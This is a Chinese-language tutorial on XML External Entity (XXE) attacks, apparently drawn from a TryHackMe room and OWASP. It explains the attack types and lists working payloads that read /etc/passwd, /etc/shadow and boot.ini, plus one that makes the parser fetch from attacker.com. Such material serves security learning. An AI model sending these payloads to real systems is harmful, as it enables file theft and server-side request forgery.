XML 外部實體 (XXE) 攻擊是一種濫用 XML 解析器/數據功能的漏洞。它通常允許攻擊者與應用程序本身可以訪問的任何後端或外部系統進行交互,並允許攻擊者讀取該系統上的文件。它們還可能導致拒絕服務 (DoS) 攻擊或可能使用 XXE 執行服務器端請求偽造 (SSRF),誘導 Web 應用程序向其他應用程序發出請求。XXE 甚至可能啟用端口掃描並導致遠程代碼執行。
XML是什麼?
可延伸標記式語言是一種標記式語言。標記指電腦所能理解的資訊符號,通過此種標記,電腦之間可以處理包含各種資訊的文章等。如何定義這些標記,既可以選擇國際通用的標記式語言,比如HTML,也可以使用像XML這樣由相關人士自由決定的標記式語言,這就是語言的可延伸性。XML是從標準通用標記式語言中簡化修改出來的。 維基百科
XXE是什麼?
XML外部實體攻擊是一種針對解析XML格式應用程式的攻擊類型之一。此類攻擊發生在配置不當的XML解析器處理指向外部實體的文檔時,可能會導致敏感文件泄露、拒絕服務攻擊、伺服器端請求偽造、埠掃描和其他系統影響。 維基百科
攻擊類型
in-band and out-of-band (OOB-XXE)
1) 帶內 XXE 攻擊是攻擊者可以立即收到對 XXE 負載的響應的攻擊。
2) 帶外 XXE 攻擊(也稱為盲 XXE),Web 應用程序沒有立即響應,攻擊者必須將其 XXE 負載的輸出反映到其他文件或他們自己的服務器。
XXE 負載
現在我們將看到一些 XXE 有效載荷,看看它們是如何工作的。
1) 我們將看到的第一個有效載荷非常簡單。如果您已正確閱讀上一個任務,那麼您將很容易理解此有效負載。<!DOCTYPE replace [<!ENTITY name "feast"> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&name;</lastName>
</userInfo>
正如我們所看到的,我們正在定義一個ENTITY
被調用的對象name
並為其分配一個值feast
。稍後我們將在我們的代碼中使用該實體。
2) 我們也可以通過定義一個實體並讓它使用 SYSTEM 關鍵字來使用 XXE 從系統中讀取一些文件這裡再次,我們使用名稱定義一個實體,但不同的是我們將它的值設置為 `SYSTEM`和文件路徑。如果我們使用此有效負載,那麼容易受到 XXE 攻擊的網站(通常)將顯示文件的內容。<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>read
/etc/passwd
以類似的方式,我們可以使用這種有效負載來讀取其他文件,但很多時候您可能無法以這種方式讀取文件,或者失敗的原因可能是您嘗試讀取的文件。
攻擊方式
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]>
<foo>&xxe;</foo>
資料來源:
- https://tryhackme.com/room/xxe
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing